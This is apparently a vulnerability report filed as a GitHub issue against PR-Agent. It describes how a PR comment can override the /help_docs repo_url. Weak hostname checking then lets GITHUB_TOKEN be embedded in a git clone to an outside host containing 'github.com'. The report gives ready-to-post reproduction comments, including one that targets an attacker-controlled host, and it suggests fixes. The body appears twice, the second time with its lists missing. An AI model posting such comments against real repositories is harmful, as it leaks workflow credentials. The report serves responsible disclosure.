Git provider
Github Cloud
System Info
NA
Bug details
Hello Qodo Security Team,
I am reporting a security issue in PR-Agent affecting the /help_docs command path in GitHub Action deployments. I've reported this vulnerability via email, but it's been a week with no response.
Summary
PR-Agent allows attacker-controlled override of PR_HELP_DOCS.REPO_URL from comment commands. In GitHub mode, the clone URL validation only checks whether the supplied string contains "github.com" before embedding GITHUB_TOKEN into the git clone URL. This can allow untrusted PR commenters to trigger outbound clone requests to attacker-controlled hosts and influence the content retrieved by /help_docs.
Affected PR-Agent Version
Tested against:
- qodo-ai/pr-agent@main
- The-PR-Agent/pr-agent@main (same project / action path)
- GitHub Actions-resolved commit: ac8d9df
- Observed in the GitHub Action container path that builds from pragent/pr-agent:github_action
Relevant code locations:
- pr_agent/agent/pr_agent.py:67-76
- pr_agent/algo/cli_args.py:6-32
- pr_agent/algo/utils.py:706-739
- pr_agent/tools/pr_help_docs.py:292-296
- pr_agent/tools/pr_help_docs.py:424-427
- pr_agent/servers/github_action_runner.py:39-61
- pr_agent/git_providers/github_provider.py:841-848
- pr_agent/git_providers/github_provider.py:1193-1225
Description
In GitHub Action mode, PR-Agent accepts runtime argument overrides from comment commands such as:
/help_docs ... --pr_help_docs.repo_url=...
The CliArgs blocklist prevents overriding some sensitive keys such as api_base, openai.key, private_key, etc., but it does not block:
- pr_help_docs.repo_url
- pr_help_docs.repo_default_branch
- pr_help_docs.docs_path
As a result, an untrusted comment can override PR_HELP_DOCS.REPO_URL, and /help_docs will use that value when cloning documentation content.
For GitHub, the clone URL preparation logic only checks whether the provided string contains "github.com". It does not parse the URL and validate the hostname structurally. After this weak check, PR-Agent embeds the GitHub token into the clone URL as:
https://<token>@<validated-host-fragment><remaining-path>
This creates a path where an attacker-controlled hostname that merely contains the string "github.com" can pass validation and be used as the target of git clone.
Security Impact
In a common GitHub Action setup, this issue can lead to:
- attacker-controlled outbound git clone requests from the workflow runner
- GITHUB_TOKEN being inserted into the outbound clone URL / authentication context
- unintended retrieval of attacker-controlled content by /help_docs
- downstream submission of retrieved content to the configured LLM provider
If a repository exposes /help_docs to untrusted PR commenters, this can become a credential exposure and outbound request issue.
Steps to Reproduce
The following reproduction was performed in a controlled public test repository using a GitHub Action setup that runs PR-Agent from issue_comment:
- workflow trigger: issue_comment
- action: qodo-ai/pr-agent@main
equivalent repository/action naming also exists as The-PR-Agent/pr-agent
- env contains GITHUB_TOKEN
Reproduction A: prove that repo_url is overrideable
- Create a PR in a repository that runs PR-Agent from issue_comment.
- Post this comment on the PR conversation:
/config --pr_help_docs.repo_url=https://github.com/qodo-ai/pr-agent.git --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=docs/docs
- Observe that PR-Agent accepts the override and reports the updated values in logs / config output.
Observed in testing:
- Updated setting PR_HELP_DOCS.REPO_URL to: "https://github.com/qodo-ai/pr-agent.git"
- Updated setting PR_HELP_DOCS.REPO_DEFAULT_BRANCH to: "main"
- Updated setting PR_HELP_DOCS.DOCS_PATH to: "docs/docs"
Reproduction B: prove that /help_docs will clone the supplied repository
- Post this comment on the same PR:
/help_docs "what docs exist" --pr_help_docs.repo_url=http://github.com/\<test-owner>/<test-repo> --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=docs --pr_help_docs.supported_doc_exts=["md"]
- Observe that PR-Agent clones the supplied repository and reads documentation files from it.
Observed in testing:
- About to clone repository: http://github.com/\<test-owner>/<test-repo> ...
- will be using the following documentation files:
This confirms that the user-supplied repo_url reaches git clone.
Reproduction C: prove weak hostname validation with an external hostname containing github.com
- Post a comment such as:
/help_docs "what docs exist" --pr_help_docs.repo_url=github.com.<controlled-host>/owner/repo --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=. --pr_help_docs.supported_doc_exts=["md"]
- Observe that PR-Agent does not reject the value at validation time, and instead proceeds to construct and use a clone URL targeting the supplied hostname.
Observed in controlled testing with an external hostname containing github.com:
- About to clone repository: github.com.<controlled-host>/sss/sss ...
- PR-Agent attempted:
git clone https://***@github.com.<controlled-host>/sss/sss
- The request was not blocked by PR-Agent validation.
- Follow-up validation confirmed that this hostname pattern can successfully trigger the external clone path.
Expected Behavior
- /help_docs should not allow untrusted runtime override of PR_HELP_DOCS.REPO_URL, or it should require a maintainer-only context.
- GitHub provider clone validation should parse the URL and require the hostname to exactly match an allowed GitHub host, for example github.com, not merely contain that string.
- The GitHub token should not be embedded into the clone URL.
Root Cause
There are three contributing issues:
-
Comment arguments can update settings at runtime:
- pr_agent/agent/pr_agent.py:67-76
- pr_agent/algo/utils.py:706-739
-
The argument blocklist does not forbid pr_help_docs.repo_url:
- pr_agent/algo/cli_args.py:6-32
-
GitHub clone URL preparation uses string containment instead of structured hostname validation, then embeds the token into the URL:
- pr_agent/git_providers/github_provider.py:1213
- pr_agent/git_providers/github_provider.py:1224
Suggested Remediation
- Do not allow runtime override of PR_HELP_DOCS.REPO_URL from comment commands.
- Parse repo_url with a URL parser and validate the hostname exactly against an allowlist.
- Reject URLs containing userinfo.
- Do not place tokens in the clone URL. Use a safer authentication method for Git operations.
- Consider hard-failing when /help_docs is asked to clone a repository outside the current PR repository unless explicitly enabled by trusted configuration.
Additional Notes
- In the tested workflow, issue_comment could trigger PR-Agent for any non-bot commenter because the workflow did not check author_association. This increases exploitability, but the core bug described here is inside PR-Agent handling of /help_docs and GitHub clone URL construction.
- The observed workflow runs remained green even when /help_docs failed internally, which may hide exploitation attempts or operational failures.
Regards
Git provider
Github Cloud
System Info
NA
Bug details
Hello Qodo Security Team,
I am reporting a security issue in PR-Agent affecting the /help_docs command path in GitHub Action deployments. I've reported this vulnerability via email, but it's been a week with no response.
Summary
PR-Agent allows attacker-controlled override of PR_HELP_DOCS.REPO_URL from comment commands. In GitHub mode, the clone URL validation only checks whether the supplied string contains "github.com" before embedding GITHUB_TOKEN into the git clone URL. This can allow untrusted PR commenters to trigger outbound clone requests to attacker-controlled hosts and influence the content retrieved by /help_docs.
Affected PR-Agent Version
Tested against:
Relevant code locations:
Description
In GitHub Action mode, PR-Agent accepts runtime argument overrides from comment commands such as:
/help_docs ... --pr_help_docs.repo_url=...
The CliArgs blocklist prevents overriding some sensitive keys such as api_base, openai.key, private_key, etc., but it does not block:
As a result, an untrusted comment can override PR_HELP_DOCS.REPO_URL, and /help_docs will use that value when cloning documentation content.
For GitHub, the clone URL preparation logic only checks whether the provided string contains "github.com". It does not parse the URL and validate the hostname structurally. After this weak check, PR-Agent embeds the GitHub token into the clone URL as:
https://<token>@<validated-host-fragment><remaining-path>
This creates a path where an attacker-controlled hostname that merely contains the string "github.com" can pass validation and be used as the target of git clone.
Security Impact
In a common GitHub Action setup, this issue can lead to:
If a repository exposes /help_docs to untrusted PR commenters, this can become a credential exposure and outbound request issue.
Steps to Reproduce
The following reproduction was performed in a controlled public test repository using a GitHub Action setup that runs PR-Agent from issue_comment:
equivalent repository/action naming also exists as The-PR-Agent/pr-agent
Reproduction A: prove that repo_url is overrideable
/config --pr_help_docs.repo_url=https://github.com/qodo-ai/pr-agent.git --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=docs/docs
Observed in testing:
Reproduction B: prove that /help_docs will clone the supplied repository
/help_docs "what docs exist" --pr_help_docs.repo_url=http://github.com/\<test-owner>/<test-repo> --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=docs --pr_help_docs.supported_doc_exts=["md"]
Observed in testing:
This confirms that the user-supplied repo_url reaches git clone.
Reproduction C: prove weak hostname validation with an external hostname containing github.com
/help_docs "what docs exist" --pr_help_docs.repo_url=github.com.<controlled-host>/owner/repo --pr_help_docs.repo_default_branch=main --pr_help_docs.docs_path=. --pr_help_docs.supported_doc_exts=["md"]
Observed in controlled testing with an external hostname containing github.com:
git clone https://***@github.com.<controlled-host>/sss/sss
Expected Behavior
Root Cause
There are three contributing issues:
Comment arguments can update settings at runtime:
The argument blocklist does not forbid pr_help_docs.repo_url:
GitHub clone URL preparation uses string containment instead of structured hostname validation, then embeds the token into the URL:
Suggested Remediation
Additional Notes
Regards